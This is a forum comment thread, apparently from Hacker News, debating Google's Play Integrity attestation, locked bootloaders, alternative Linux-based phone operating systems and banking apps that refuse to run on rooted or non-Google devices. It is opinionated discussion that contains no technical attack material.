Yes Google mandates a locked bootloader in order to meet Google Play Integrity's remote attestation. More generally it mandates a perfectly clean and valid secure boot chain. Among a variety of other requirements.
One could argue that those “cheap” devices are ewaste from the beginning, and customers needing lower cost mobile devices should be buying more expensive ones used or refurbished.
Because they fucking suck. I never heard desktops or laptops being tied to Dell or Asus or what not for run of the mill kernel or os upgrades. If phone makers want to be fucking ass by locking down bootloaders, jealously preventing reversing etc preventing kernel devs etc from doing their own thing then they should accept the just label of being fucking ass or take on the responsibility of supporting it forever.
This is only allowed to exist because the justice system and politicians are mostly tech illiterate.
Play Integrity is not compliant with any antitrust legislation, that's painfully obvious. The sole and only purpose of this system is to remove non-Google Android forks.
As someone working on a product that relies on Play Integrity and PAT to give legit mobile users zero captchas while challenging non-attested clients, I promise you are quite wrong here.
The benefits may not be sufficient to offset the harms you see, but if you don’t understand how and why these capabilities are used by services, I’m also suspicious you understand the harms accurately.
Using Play Integrity for captchas is completely useless, criminals are using unmodified devices farms on racks anyways. Why would they need to modify their device?
Betting on Play Integrity to solve that is betting that devices will become more expensive in the future, that's quite obvious that the opposite is happening, they are getting cheaper and cheaper.
Using your dominance in one market to secure the dominance in other market is illegal monopoly, no matter how convenient it might be for a third party.
> if you don’t understand how and why these capabilities are used by services, I’m also suspicious you understand the harms accurately
Yeah, I see this mentality a lot on HN (and kinda everywhere for that matter). "Anyone who disagrees with me is evil, and must therefore have evil motives for everything they're doing. The reasonable/innocent explanation they give for why they're doing this must actually be a front for this other shadowy, nefarious motivation that I just made up on the spot, because surely nobody ever does bad things for good reasons. Certainly not those evil people who disagree with me!"
I hate having to defend Google here, because I think this is genuinely a terrible, freedom-destroying move, but malware on Android is a real problem (especially in Brazil, Indonesia, Singapore, and Thailand, where they're rolling this out initially) and this probably will do a lot to solve it. I'm just categorically against the whole idea of taking away the freedom of mentally sound adults "for their own good" regardless of whether it works or not, and this particular case is especially maddening because I'm one of those adults whose freedom is being destroyed.
I think everyone views themselves as a harmless smol bean, even as they wage war on general purpose computing and liberty in the name of safety. How could their actions have negative externalities, they're one of the good guys!
You’ve discovered local optimization / global reduction.
But how else should Google and their users react? Insist on offering a platform with far more abuse while subjecting users to worse user experiences and websites to more attacks… in the name of abstract freedom?
It's not a coincidence that this big push for Safetynet/Play Integrity happened after the pressure against Cyanogenmod and then Huawei.
If they really care about scams, they could remove all these casino-like games on the playstore. But they aren't going to do that because a huge chunk of the playstore revenue comes from those scam games.
This is textbook whataboutism. The type of device-pwning malware Google is concerned with here has very little in common with "casino-like games on the playstore".
No it isn't. Both are sources of scam and I'd argue that the scam officially hosted on the store is orders of magnitude more widespread than anything using direct installs.
If it's really a problem they care about, here's some priorities. (And I'd personally happy if they cared as I have some family members who got scammed by those)
It's been that time for years. But it's easier said than done. The closest we've currently got are the various phone-targeted Linux distros out there. But they're not quite ready for serious usage for me; at least not on the Pinephone. Still, that's where to put your time & money if you're serious about wanting a change.
The thing is making a smart phone is hard. You need experienced and knowledgable embedded engineers to design every aspect of the phone. You need people who are knowledgable about RF and know how to go about regulations in various countries. You need software engineers to build up a whole operating system from scratch and probably do that multiple times as the available technology changes. Not to mention create an entire production line to fabricate the parts and assemble them.
And while efforts like Pinephone are good, they don't have the VC or talent to really make that a reality anytime soon on a massive scale. Most efforts in this space are open source which is great but doesn't really pay anything. People with these skills can easily work at any phone OEM and make good money. So I think it will take a massive company to do it. Maybe Microsoft wants to give it another go haha. Amazon has tried multiple times to make this a reality but it's just cost so much money and time that they keep shutting it down.
I don't have any answers, for something to become viable is has to appeal to the average consumer and getting to that point is like crossing a mountain.
This is true for both the engineering and business sides. Cyanogen’s failure showed that it ultimately doesn’t matter how good your software product is if your business side of things is poorly run. Same with the Pebble smartwatch - amazing product, terrible back office.
Is Pinephone still going? I was excited for it a few years ago, but I checked in recently and a lot of people are calling it dead. They discontinued to "pro" model and it doesn't sound like the software has much active development going on.
Eh, that's a multi-faceted question. I personally am tired of Pine. They've made some questionable calls over the past couple years and their "make open hardware with almost nothing working software-wise and see what the community does" business plan has started feeling exploitative to me.
PPpro was mismanaged especially badly. Nothing against the amazing community- it's just there were some hardware/firmware decisions by pine that made it especially hard to develop for. Meanwhile, the non-pro version is handicapped by a very slow processor.
There's still some development happening, and the window managers like KDE are still improving stuff on the front end. But you're right, it has slowed down. That all said, this is still the only non-Google/Apple device you can get in the USA that actually kinda works. I used both the non-pro and pro versions for a few months a couple years ago as my daily driver. I could make calls, send texts, connect to matrix, etc. I wouldn't claim that "it just worked" but it did work.
> The closest we've currently got are the various phone-targeted Linux distros out there. But they're not quite ready for serious usage for me; at least not on the Pinephone.
This isn't the closest, since we have Purism Librem 5 phone, which many people (including me) are using as a daily driver.
realistically, the end point for moderately tech savvy folks is going to a be two-device setup. one cheap phone for basic communication , all the corpo stuff like banking and shirt-and-tie social media + a wifi hotspot. then a second "practical use" device that uses the hotspot, that you fully control and do your tinkering with.
edit: coming to think of it, teaching people to have a device for the "clean stuff" and separate one for the "stupid stuff" could even turn out to be a benefit.
This is already happening. It would be nice to have a purpose-built "clean"/”lame" device that not only did networking for you, but let you run whatever super special shit that garbage banking app needs attestation for while serving it over vnc or similar to your "dirty"/"cool" device. Then the lame device could be quite small, maybe even stuck on to the cool device as a dongle something.
The end point is going to be you will only be able to connect to the Internet with a device that passes hardware attestation so people won't be able to tinker
This is really smart.
It’s low friction.
It’s a drag to need two devices, but it is a low compromise bridge to building up something like a pinephone/pinebook’s ecosystem without needing to keep swapping your sim card.
its how most home networks already work, when you think of it. you have a small locked down isp-provided technically-a-computer, that manages your connection, and behind that, you have all your own stuff on your home network.
if anything, it would be mobile computing "pulling the modem out of the computer", like home desktops did in the 90s. I probably still have that 14.4k pcmcia modem card laying around somewhere...
You make it sound like a bad thing! That's pretty much already where I'm at, and is in fact exactly what I want. My smartphone is for messaging and a handful of apps from major vendors (Google Maps, Youtube, 1Password, etc.) It shouldn't ever crash, have nagging software updates, require tinkering, etc., just like my microwave and washing machine. And for tinkering, I've got my Mac, my little Linux NAS, a variety of Linux handheld devices, etc.
And I'm happy to keep my heart/money away from the junk of social media and similar trivial shit. To give an example: I have two email ids, one for banking/government stuff and such and other for general purpose (sometimes I use those throwaway ones too for one-time things). If Google pulls this shit, I'm pretty much willing to go two-device - it would be actually more secure. I don't consider this some sort of RMS-idealogy, it is just the sensible next step.
I went through 3 generations of Windows Phone devices for work. The only thing phenomenal about them was the Zune-style UI. They were buggy and unreliable, even for the few apps they had.
Considering that Google and Apple can use them too, tt's unclear to me whether you think AI coding assistants will make it easier or harder for a third competitor to enter the field.
> "GNU/Linux" touch version that has a serious ecosystem
That is a very hard problem, unless someone with serious name recognition like Linus Torvalds starts to lead that kind of effort, or a big company like Microsoft suddenly decides that putting 1 billion towards GNU/Linux would be in their interest. With small efforts, it will remain scattered.
Crowdfunding has a lot of power if there is name recognition behind the effort. Star Citizen has already gathered $800 million with mostly enthusiasm and a good start. Who is there to lead the effort for GNU/Linux phone development?
A GNU/Linux phone is dead on arrival unless it provides features that the masses consider a benefit. It's been attempted countless times, and every time it fails to gain adoption because the benefits rarely outweigh the downsides (yes, I know I will get at least one free software maximalist disagree, but in general, adoption rates support my point: these phones are used by such a small minority they're effectively a measurement error in the data).
If anyone wants to give it a shot again, don't start with a GNU/Linux phone, start with something the masses actually will care about. Reverse-engineered, adversarially-interoperable social media apps for all the mainstream networks with no ads/dark patterns? Cool. Adblocking by default? Sure thing. Built-in support for a wide range of cloud providers (including standard protocols such as SFTP/S3/etc). And so on.
Address actual pain points that people have. "GNU/Linux" by itself does not address anything. The non-technical majority don't even know what that is or means, and even for technical people it isn't a perk by itself - sure, you can run whatever software you want... but you (or someone else) still need to write said software to begin with... or you could just trade a bit of money and "freedom" and buy an iPhone which doesn't have any of those problems.
There were crowdfunding efforts like: Purism Librem, Liberux NEXX, /e/ foundation, eelo, Ubuntu Edge, Jolla phone. But none were really successful. The closest was probably Mozilla with Firefox OS, now Kai OS. I still own an Alcatel OT Fire phone, it's HTML5 all the way!
But I think Sailfish OS has a mature ecosystem, they are well recognized in the EU and based on GNU/Linux. I use it daily, after moving from UBports, and it serves me well. Hopefully SfOS gains more popularity.
You highlighted the problem I was stating: Effort is scattered among small players. I would love for SailfishOS to win, but crowdfunding is hard with random Thingamabob companies; it needs name recognition behind it.
For the new ecosystem to win, it needs to have its own user base for companies building apps to recognize it. Even with SailfishOS, the banking apps still require Android compatibility layer, which is slowly eroded with Play Services and Play integrity check disabling those one by one in the coming years.
> "banking apps still require Android compatibility layer"
I would say that this is really not the OS's problem, but the bank's problem.
I find it absolutely intolerable that there are banks that force me to use a OS from one (or two) specific vendors.
Same goes for public transportation services (German Bahn Card is now only available in their app) or post mail services (German Post "Mobile Stamp" is only available in their official app).
Weren't Jolla (Sailfish OS), Canonical (Ubuntu Touch), HP/LG (webOS), Mozilla (Firefox OS), Samsung (Tizen) recognized companies? Yet they failed to break the duopoly. Even Facebook failed with their phone. Who would fight with Andoid/iOS then?
I have no answer, I'm asking the same question. Who can raise serious funds like 1 billion to do it? I'm guessing for FOSS/Linux crowd to get fully behind, it can't be a company, but a person like Linus Torvalds. Given that browsers are becoming a platform themselves for major apps, maybe it can lower the bar in the future for smaller vendors to create a feasible market.
I'm hoping that Linus "pulls a git" and suddenly announces that he got fed up with Android last week and created a new OS that solves everyone's problems.
All of those ran really slow compared to Android versions at the time, or their dev tooling sucked. The only one I really enjoyed using was Sailfish, and even they had to implement an APK compatibility layer. So for the average consumer, what’s the benefit to using that over straight Android?
"For the new ecosystem to win, it needs to have its own user base for companies building apps to recognize it."
…And strong and effective antitrust legislation in place to stop current monopolies like Google from crushing small startups.
Trouble is, despite governments paying lip service to wanting competition in this arena they really don't want competition at all, especially so from small startups.
Look at it this way, controlling and handling a few big companies is much easier for governments than having to deal with a plethora especially so when many are small startups; and second, it's also easier for them to extract user data from Big Tech's operations (as Big Tech is predictable and they've been doing so for a long time)—than it it would be from many small startups, especially so when the products they're planning to manufacture are aimed at improving privacy and adding encryption.
Think of the current UK and Apple debacle and governments' motives for not being proactive become abundantly clear.
By general adoption. It's great that Librem serves you well, just like SfOS for me, but sadly we're a tiny minority. I think KaiOS has the third place in popularity.
I've been using a Librem 5 as a daily driver for years and before that I used a PinePhone for several years. It can work if you're willing to adjust to live with it's constraints (but then also enjoy the benefits).
> [...] someone with serious name recognition like Linus Torvalds starts to lead that kind of effort [...]
Linus is a kernel hacker, and already busy tending to his own project.
"GNU/Linux" is effectively a committee of communities, with sometimes conflicting goals. It took Canonical and Valve to put things into shape on the desktop, and that's mostly because desktop was becoming less relevant.
I see two ways for things to change here:
- A massive, for-profit corporation, someone willing and able to challenge Google and Apple on an even ground, is hell-bent on making a Linux-based phone (Microsoft failed even after acquiring Nokia);
- Another platform shift happens, making smartphones irrelevant in comparison (think: when smartphones displaced desktops).
Microsoft was stupid, in EU they were slowly reaching 10% when they decided to kill WP, it was getting momentum as the alternative for those that didn't want Android and weren't going to spend Apple money for a phone device.
And actually the development experience was much better than Android to this day.
But that isn't coming back, especially after they killed all developer good will on Windows OS for everyone that invested into WinRT as platform.
How much of that 10% was them basically paying OEM's and consumers to use Windows, which is what the Nokia deal amounted to? It wasn't sustainable.
Whatever benefit we'd have from a Windows Phone today, it's laughable to think that Microsoft wouldn't be doubling down on exactly the sort of locked-down devices Apple (and now Google) have or are moving towards.
Their only vaguely "open" platform (Windows) is like that because of legacy compatibility and customers, but for anything new Microsoft always wanted to sell you an Xbox that could make phonecalls. Try writing and deploying an app on that without a developer account.
> I really would like to have been payed
> to use Windows phones
I meant paid in the indirect sense of being the beneficiary of a loss leader for Microsoft.
I.e. I'm poking holes in your (somewhat unstated) premise that they'd already reached around 10% of marketshare, and could have just organically grown from there. As reporting at the time shows[1] the average selling price of these phones was €72.4.
So Microsoft (Nokia, but we all know who was really running/paying for the show) were spending a lot of money to buy themselves into the market, and just barely holding on to double digit market share for a bit there by subsidizing entry level phones.
> Android shouldn't be considered Open Source anymore
That idea died for me long ago, I had used Android since 2009 till 2020. I gave up on the dream of a Linux phone. Ubuntu had a nice sleek Phone UI they were working on. The issue is if nobody builds the phones and no carrier cares, nobody will pick it up. You need to push yourself into the market.
Microsoft could fill this weird gap if they wanted to the key things would be they would have to truly open source the OS. I could see Amazon trying again, but they'd need to invest a lot as well. It's an uphill battle needing a serious flagship phone. Your other problem is most apps need to be migrated.
Amazon was hopeless even with the apps, because they had their hooks into things even worse than google. They are shameless. Most other tech companies large enough to even try would be as bad or worse.
All that type of money went to llms, who is going to spend that on a phone os now? Not who should, but who actually would? They gave up on browsers, they gave up on mobile oses. There is a real risk that the next step is the US gov takes X% of google instead of enforcing antitrust in a year or two.
Linux phones will never take off because banking and media/drm apps, and by extension social media apps, will just boycott them and kill it off. The tone has been set, this comment applies to any major player trying to break into the mobile market moving forward.
Yeah, I'm disappointed in their efforts. I do like the Kindle tablet for my preschooler because its cheap and gets the job done, though we limit her screen time.
I'm just name dropping from the perspective of a big org that could fund such a thing correctly, but they would need to start over IMHO.
I'm not sure of another big player who could invest billions into such an endeavour.
"At the very least, Google needs to lose Android, and probably YouTube as well."
Wishful thinking department unfortunately. Modern US capitalism wouldn't allow that to happen—and a large majority of users are so addicted to the electronic heroin provided (seemingly for free but not) by the likes of Big Tech—Google et al—to care let alone do anything about the problem.
Everything coming from China is going to be closed source as well, and it's going to be pretty hard for banks to onboard themselves on open source solutions. I think the ultimate solution is: two phones, one shitty one just for banking/trading/whatever, which only stays at home most of the time, and one Linux phone that we more or less own, for calls/texts/web browsing, which stays with us.
The irony is that our phones are unbelievably powerful and run laps around computers from just 5-10 years ago, but then we use them as locked-down glorified web views and advertisement deliverers.
Why? I have the freedom to fix or modify most things I own. What makes phones so special that it justifies licking the boot of some techbro billionaires?
This is the problem - many apps refusing to run on non-blesses platform.
Years ago I loved tinkering with the devices but then I wasn't able to use my bank and it was getting more and more annoying so at one point I just stopped...
The biggest problem are: 1) lack of drivers (so creating custom roms/OS for the devices is problematic), 2) locked bootloaders and 3) many apps requiring PlayServices and other stuff (mostly banks).
There is postmarketOS, it looks awesome but - device support is very lacking and there is no way to have bank and PopularApps (whatsapp/instagram/etc) running on it so it's popularity is microscopic…
Maybe another European Citizen Initiative to force makers to provide those things (bootloader and drivers)?
"Years ago I loved tinkering with the devices but then I wasn't able to use my bank and it was getting more and more annoying so at one point I just stopped..."
Until now I've steadfastly refused to use banking on my smartphones because of these problems (and I usually use rooted phones).
The trouble is it's becoming more and more difficult to avoid phone payments/banking. My solution is to get a small phone specifically dedicated for the purpose and use it for no other purpose (it's a pain but the best compromise). That way I don't have to worry about my main smartphone.
Of course, the best solution would be for governments to regulate for banks to accept multiple access/payment system of which there are a number. Standardized and regulated protocols would solve many of these problems but that's a too bigger subject to address here.
> My solution is to get a small phone specifically dedicated for the purpose and use it for no other purpose (it's a pain but the best compromise). That way I don't have to worry about my main smartphone.
This has been my solution as well and I can't help but wonder, given the recent push for digital ID, insurance, etc. if we will all eventually be carrying a separate data-only device for digital security/attestation purposes.
Likely so, methinks. I can't see any other long-term solution that'd be workable and actually benefit users. Moreover, if implemented properly (sensibly) with the user in charge it would be useful for much more than just banking.
For example, it could incorporate a hierarchical key system with the user/owner having access to all data. Privacy would be assured as each entity you'd communicate or transact with would only have access to information on a need-to-know basis.
Your bank would only have access to your name and necessary authentication data; only you and your doctor would have access to your medical records; government/tax would have access to your financial records for tax purposes but not be able to access other data.
General shopping could be done anonymously—even without your bank being aware of what you were buying or from whom you were buying it (it'd be like a cash withdrawal to spend as you wish). The bank would issue you money as a cash advance which you'd add to a local pool of cash, you'd then withdraw funds to pay the vendor (this would likely involve crypto currency to isolate the payment from the bank). And so on, there'd be as many options to such a scheme as a user would need.
Such a system would not only give users almost complete control over their privacy but also give them autonomy. Of course, opposition to such a scheme would be absolutely fierce, governments would demand higher access levels for nefarious and or unnecessary reasons, the Googles of this world would be furious as they'd lose access to meaningful data—what'd be left would be anonymized junk data that'd be effectively worthless to advertisers and data brokers.
Clearly, something that powerful which would give users considerable control over their lives wouldn't be allowed to happen! As Rousseau said in the opening sentence of his Social Contract "Man was born free but everywhere he is in chains". That was in 1762, seems nothing much has changed, the citizenry is still well under the thumb, and the rich and powerful remain so.
Then we can can go back to treating phones as computers. Right?
And maybe one day there will be some convergent evolution and the attestation devices go back to being dedicated hardware. Like the card-reader I already have to to log into my online banking.
OpenHarmony is open source. There are also: Ubuntu Touch and Sailfish OS being developed. Actually I am writing this from Sailfish OS. I can login to my bank using a web browser here in the EU. I have Telegram, Signal clients, maps, sideloaded packages, full terminal - I fully control the phone, in contrast to Android. I don't own and don't need Android phone at all. So definitely more people should usealternatives to closed Android/iOS.
Ah yes, sailfish is actually pretty usable. (Unlike Ubuntu Touch, tbh).
I've used it in the past on my Nexus5 for some years.
However, they are still not 100% open source and they're too much into the AI-Hype as of recently (Mind2).
Also, I'd like to have more official ports. It's such a hassle to be dependent on that one guy who maintains that port for your device...
I somewhat agree with the protected systems part though. For example, handling payments. Now iOS and Android could both have 0-days that allow fraudulent payments to be made for all I know but there's a certain degree of trust there with 2 large companies.
But then again we still use visa/mastercard duopoly that allows you to make payments so long as your have their card number.
And then again x2; nothing will ever change, we live in a corporate hellscape where men in suits & ties make all the decisions, get themselves wealthier and the general public are too apathetic to band together on anything because they'd rather foot shoot than have someone not from their tribe receive a single cookie crumb.
> a contractual relationship with a foreign (unless you are in the US) third party that decides what you can or cannot do with it.
I see where you're coming from, but companies like Google have local legal representation (e.g. in Ireland for the EU), and have to operate under EU rules if they want to do business here (just like how a EU business has to operate under US rules). If the EU says that you should be allowed to do your own thing - and they have - then Google can either comply or leave.
Don't attribute more power to companies than they have - they want you to believe they can get away with this, but don't echo their rhetoric.
Ok, how do I as a developer from Croatia get in touch with a legal representative from Google? And I don't mean 5 layers of indirection through AI chatbots and chatbots, forms and canned responses?
As a single developer, you have very little weight against Google. The same is true of a single developer in the US.
What does have weight is the European Union, which Croatia is a member of. If the EU parliament makes a law that Google is not allowed to have these kinds of rules and do business in the EU, then Google will listen. Given the horrible state of the US government, the EU is just about the only force left in the world able and willing to stand up against these tech giants in a way that forces them to pay attention and act responsibly.
The chances are higher that the EU makes a law mandating this sort of thing than demanding dropping this requirement in the EU.
The only thing you can expect from the EU is that it requires that apps in the EU market are signed with keys signed by the EU which you will only be able to get if you provide your ID or business registration.
Between Google and the EU I think I would rather be governed by the devil.
...that makes it worse though. It's just intrusion from more legacy states.
The whole point here is that this requirement is a vector by which states and state-like corporations can exert control over the internet. And the "inter" in internet is weakened by this.
Alas, no distinction is made between (a) a computer owner that wants to write software to run on their computer versus (b) an "app developer" who wants to write "mobile apps" and distribute them to others for financial gain
The computer owner in (a) is not creating "malware". Any arguments that "verification" is for the protection of users (not commercial benefit of Google) are inapplicable in (a). Unlike the software in (b) the software in (a) only runs on the computer owner's computer, not anyone else's computer. There is no need in the case of (a) for Google to know about what software is running on the computer owner's computer.^1 Surely Google would agree there is no need, i.e., no right, for a computer owner seeking "verification" to know what software is running on Google's computers or the identities of Google employees.
1. None that outweighs the owner's right to privacy. Microsoft, Apple and Google all use _default_ telemetry
> Maybe it's time for a third large phone OS, whether it comes from China getting fed up with the US and Google's shenanigans (Huawei has HarmonyOS but it's not open) or some "GNU/Linux" touch version that has a serious ecosystem. Especially when more and more apps and services are "mobile-first" or "mobile-only" like banking.
This makes me laugh. Not at you, but at the cycle. This was the convo years ago when this was possible, but getting consumers to trust a 3rd party like PalmOS (which was actually pretty darn good compared to android) is practically not possible.
I wouldn't use a bank that made it difficult for me to access my account. I don't know why most people do. I know why a few need to, but not most. There's a lot of unnecessary bedmaking going on in tech.
Maybe, although there are services that will accept your mail and then scan/email it to you. But I believe OP has stated that they live in Germany full-time.
As someone who has a few bank accounts in different countries of which I'm not a resident of, and also a user of the services you mention, its next to impossible to use them for banking purposes.
In US, for example, their addresses are classified as Commercial Mail Receiving Agencies, and have a "Commercial" address designator. USPS has an API for that. If you get a bank to accept this address somehow, then the next trouble comes - they're gonna ask for utility bill for address verification and you can't have any utility bills for it.
Less and less of AOSP is being updated also, as Google rolls most of its new features and updates behind the Play Services system. Install Graphene and you will see what I am talking about - the SMS app for example hasn't been updated in probably a decade and looks and functions like it did back in Android 4 (KitKat). Same with the other built-in apps. While I used Graphene myself for a solid 6 months, the features you have to give up on using or find some obtuse workaround for aren't appealing to the "normies" who just want their phone to do what they want, no matter the unseen ethical cost (in this case, sacrificing the ability to freely install 3rd party apps).
Someone on another forum said it very well - people like "us" were Google's foot in the door, now along with Apple they have such a stranglehold on the mobile OS space that a 3rd viable and comparable contestant becomes less and less likely by the day.
Throw in how Google starting with Android 16 is not releasing updated drivers with AOSP and Graphene probably doesn't have much life left in it, either.
We're long, long overdue for a 3rd phone OS option. The bank thing has me wondering. Maybe getting a nice, local branch is one of the next sane privacy steps if it lets me escape this phone.
> or some "GNU/Linux" touch version that has a serious ecosystem
How could this realistically happen? Developers of popular apps adore the control and illegitimate de-facto ownership that client side "trust" gives them, so they'll refuse to make apps for that platform. They'll also use said client side "trust" to block them. Thus, it can't reach critical mass to force adoption by these developers.
I think that the answer are vendor-independent standards.
The main issue being solved here is that security relies heavily on those actors like Google and Apple. Banks, companies etc. have high security requirements (rightly so) and basically need to tick boxes. So if the only way to obtain, say, MFA, is through something only Goole/Apple provides, they will require Google or Apple devices.
If we had reasonable standards alternatives can become a reality.
> banks and other "regulated" sectors use Google Play Protect and similar DRMs to prevent you from connecting from whatever device you want.
This totally sucks but is there anything preventing you from using your bank's website in-browser in your phone, other than the terrible UI, tiny text, and inability to select the correct checkbox?
Yes. The 2FA via either biometrics or some other means requires us to have the bank's own app - even in small local branches - where said app is only available through one of the app stores.
Tizen already exists...where phone OS' fall down is that ALL of the cellular modems are extremely patent encumbered (althogh Hauwei has a large portion of the 5G ones) and there doesn't exist an open specification let alone open implementation of their interfaces.
Problem is 99.99% of the population probably doesn't care (or even know about the issue). Companies respond to the market. If there is no demand or pressure for something more open, they won't make it.
Other than depositing checks, I've always thought that phone bank apps are overrated. Banking is too serious for a phone- I'd rather do it on a real computer. I could fairly easily give up banking apps entirely.
In my case, the website is equal or superior to the app in every aspect except one: you cannot deposit scanned paper checks via the website, only via the app.
It doesn't even matter if it's foreign or not, it's a matter of who owns the thing: you buy a smartphone or you buy a service that allows you some use of said smartphone? Fuck services.
There will never be a third large OS unless Google Play Integrity is legislated out of existence. And it looks like governments like Google Play Integrity so that won't happen
I wish Firefox OS had succeeded, my first ever app was for it, it was all so much simpler and so much more free than the locked down systems of both major mobile OSes.
What's even the point of all the bullshit with Google play protect if in the end I can access my bank from a web browser. That stupidity is protecting no one
Poland also has the most competitive banking system in the entire Western sphere of influence. You can't compare it to the extremely oligarchic banking system in the United States.
Unless you get SMS or some normal TOTP app as 2FA, using the web page usually requires the bank's proprietary app to authorize. So you circle back to the the same issue.
Not merely a foreign third party: one operating fairly cozily within a country with a hostile and erratic government.
If Trump ordered Google, tomorrow, to put some egregious measure in place in Android (or Chrome, or Google Search), I, personally, would not want to bet that they would refuse him. And frankly, I don't know that I can even imagine the kinds of things he might try to get them to do.
We absolutely need better competition in smartphone OSes—we need it across the board in tech, really, from a wide array of countries.
Shake it off, because, see point 1, the struggle is the same as it has been even decades ago. Nothing has changed: we fight for it. Only the battles have changed, not the war.
I'm not the person you replied to, but I am in their shoes. I'm tired, too. Trust me, I used to champion your sentiment, keep fighting/keep moving and all that jazz, but...at my age, this War of Attrition that is the fight for user data rights and privacy has gone on so long, against a foe that has a much large reach and seemingly infinite resources.
Many of us are not only exhausted, but exasperated at the fact that the good majority of the consumer market continues to give permission to the very activities we are all supposed to be denying. In the end, we vote with our dollars, so we, the vocal minority can be as loud as we want but if the majority continues to buy, use and comply with the product, it's really just a lot of yelling for no reason, isn't it? That's how it feels, anyway.
I know, I know; can't start a fire without a spark. But I've been at it for two decades, since the first smartphone dropped, something I resist adopting for nearly a decade. I'm seeing my kid's generation growing up in this world, condition by it from the start despite our best efforts and they simply don't seem to care. From where I'm standing, I feel old, brittle and tired from all this, but there's nobody to pass the torch to.
So understand that when one of us comments "I'm so tired and disillusioned," we do so after years of resisting, and those words are not uttered lightly.
> So understand that when one of us comments "I'm so tired and disillusioned," we do so after years of resisting, and those words are not uttered lightly.
My great-grandfather fled France with his family during the second world war. My grandfather fought in the second world war - essentially after he got to Canada, he enlisted and headed back to fight against fascism. He eventually came back to Canada because the rest of his surviving family was here.
I get tired of fighting for privacy, and standing up for users, and pushing back against some of the most egregious abuses of tech companies, including the tech companies I work for. When I think that it's not worth fighting, or I think that I could probably get a promotion and way more money if I just suck it up and start building ad-tech or surveillance tech, I think about how disappointed my grandfather would be with my decision.
Stoicism isn't the shitty memes that folks post online re-enforcing toxic masculinity, it's getting up in the morning after taking a break from the good fight, and continuing to push back despite being tired. Understand that when you wake up in the morning, or feel the need to comment "I'm so tired and disillusioned", remember that there are many, many other people tired and disillusioned along side you or OP continuing the fight. Take a break if you need to, and come back to keep fighting.
They have trillions of dollars to burn. They have expensive lobbyists which they use to essentially buy laws. Governments want them to succeed because they also want to control people's computers.
It's just a matter of time until we lose everything. It's not really a struggle. Look at what just happened. We made sacrifices for years by using Android because it was open and Google just rendered it all moot by introducing hardware remote attestation to discriminate against anyone who's actually enjoying that openness. What's the point?
Right, it's very disheartening when the large majority of smartphone users couldn't give a damn about such matters. As I mentioned elsewhere, the problem has been made much worse by the fact that most smartphone users are addicted to electronic heroin—apps provided by Google, Facebook, et al.
There's no other way of describing the situation other than it's an unmitigated disaster. Tragically, Big Tech hit on a formula that has billions of users glued to their phones many to the point of obsession—it's absurd, nothing like this has ever happened on such a grand scale in all of human history.
When people like us try to fix the problem we're confronted on all sides—we not only have to deal with a money-rich and very hostile Big Tech and also with governments who want to only deal with it (for reasons I mentioned earlier) but also with a large percentage of the world's population who would feel threatened and annoyed at even the mere mention of changes to their phones' ecosystem.
When the enemy goes to the extent of effectively 'parasitizing' those with whom we are trying to help and protect into a zombie-like state of inaction then we've little hope of changing things for the better.
One approach, not ideal by a long shot but one of the easiest, is to only use old devices and old OSes. Things that have been cracked and/or are easy to root.
"But it's not secure!" -- yeah, that really is the point.
> only use old devices and old OSes. Things that have been cracked and/or are easy to root.
> "But it's not secure!" -- yeah, that really is the point.
Well, no.
The point isn't just to rail against impositions from someone else wanting what they see as essential for their security, but also to keep things secure and⁰ free¹ for you, the user.
Holding your devices back constrains both your security and your freedom rather than helping you in either manner. Security because you will be missing important updates in that regard, and freedom because your device won't be able to negotiate connections with external services² that you want to use³.
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[0] And where these two conflict, you should be free to chose your threat model and therefore which compromises to make, except where that could negatively affect others.
[1] The freedom of reasonable action form of free, not monetarily free etc.
[2] We hit this a short while ago with some legacy code+infra using SOCKS via OpenSSH to make unauthenticated HTTPS calls from source addresses we can't fix (authentication is done with SSH, control is by the other end having the fixed address of the SOCKS host in the whitelist) - upgrading the VM running the SOCKS proxy upgraded OpenSSH which deprecated a number of encryption and negotiation options, the old client library used didn't support enough new ones to be able to negotiate a link, newer versions required a later .Net version that is supported inside SSIS, so we had to rearrange how those calls were made (obviously the long term fix is to kill all that legacy SSIS stuff, all SSIS stuff including the people that made it, with fire). The same will happen with parts of what you use your device for, if you keep it back in the way you are suggesting.
[3] Banking facilities being a key area that you'll likely hit problems with first, after that other online commerce flows, and so forth.
It is not a good long term solution, however, because older phones do not support newer versions of the operating systems and gradually you'll notice that fewer and fewer applications work on your phone, because they require a newer operating system.
Utterly pointless. We'll be systematically discriminated against at every turn. We'll lose access to finances, services, communities and even simple sites because our computers aren't corporate owned. We'll become so marginalized we'll only be able to visit places like HN, places that at least try to pay some lip service to everything the word "hacker" stands for.
And then they will make it so our devices need to pass hardware remote attestation to connect to the internet and even that will be taken away from us.
I don't know what to do anymore. The future is bleak. The free computing we love is being destroyed by forces outside our control, forces that cannot be stopped no matter what we do because they have trillions of dollars and their interests are aligned with those of governments the world over.
They may try that, sure, but 1/ it will take some time, during which we can still enjoy some amount of freedom and 2/ they may not succeed everywhere, or all of the time.
This is not enough. Things like banking apps are virtually necessary for many people's daily lives, yet they often require a non-rooted phone with Google Play Services spyware installed at the OS level, or they will simply refuse to open. Never mind the fact that we're so into late capitalist consumerism that it's routine to deprecate support for 2 year old OSes.
This needs law/regulation forcing the duopoly to open up, unfortunately even in the EU we're moving in the opposite direction.
Not just forcing the app store duopoly to open up, forcing banks to open up and prohibiting these kinds of restrictions that are based on "we insist that you trust some large corporation that we also trust".
Exactly. I'm literally penalized because I have control of my own device (which somehow isn't an issue with the much more "insecure", root-wise, browser on a linux desktop)
now. In general it certainly is; web interfaces will be phased out unless web browsers gain client attestation capabilities (at which point it's game over for the open web).
E.g. Revolut never had a web interface and is doing just fine.
And the sentiment that I own the things I've bought and paid for and should be able to do what I want with it. That a company shouldn't be able to come in and take away features, that I purchased with the device, away from me for absolutely any reason.
I can't go to Google HQ and reinstall their locks because I think their locks are insecure, and I certainly can't declare myself the arbiter of who should be allowed to open their locks. I'd be charged and put in jail. But they can do the digital equivalent to my device and that's valid business.
> Things like banking apps are virtually necessary for many people's daily lives
I disagree. I think most people could do just fine without them. Some might need to buy a desktop computer or even visit their bank's website using a browser on their phone, but humanity got along just fine without cell phone banking apps for a very long time. Many of the old options still exist for a lot of common banking activities. Options like calling your bank on the phone, using an ATM, or going to a branch in person. If your bank really doesn't allow you to do anything with your money without a cell phone app I'd say finding a new bank is justified. Better yet, try to find a credit union.
Banking apps are convenient, but it's getting to the point where the inconvenience of being abused by the OS outweighs the convenience of a banking app which is probably collecting (and selling/exploiting) data they couldn't get from a visit to their website anyway.
> or even visit their bank's website using a browser
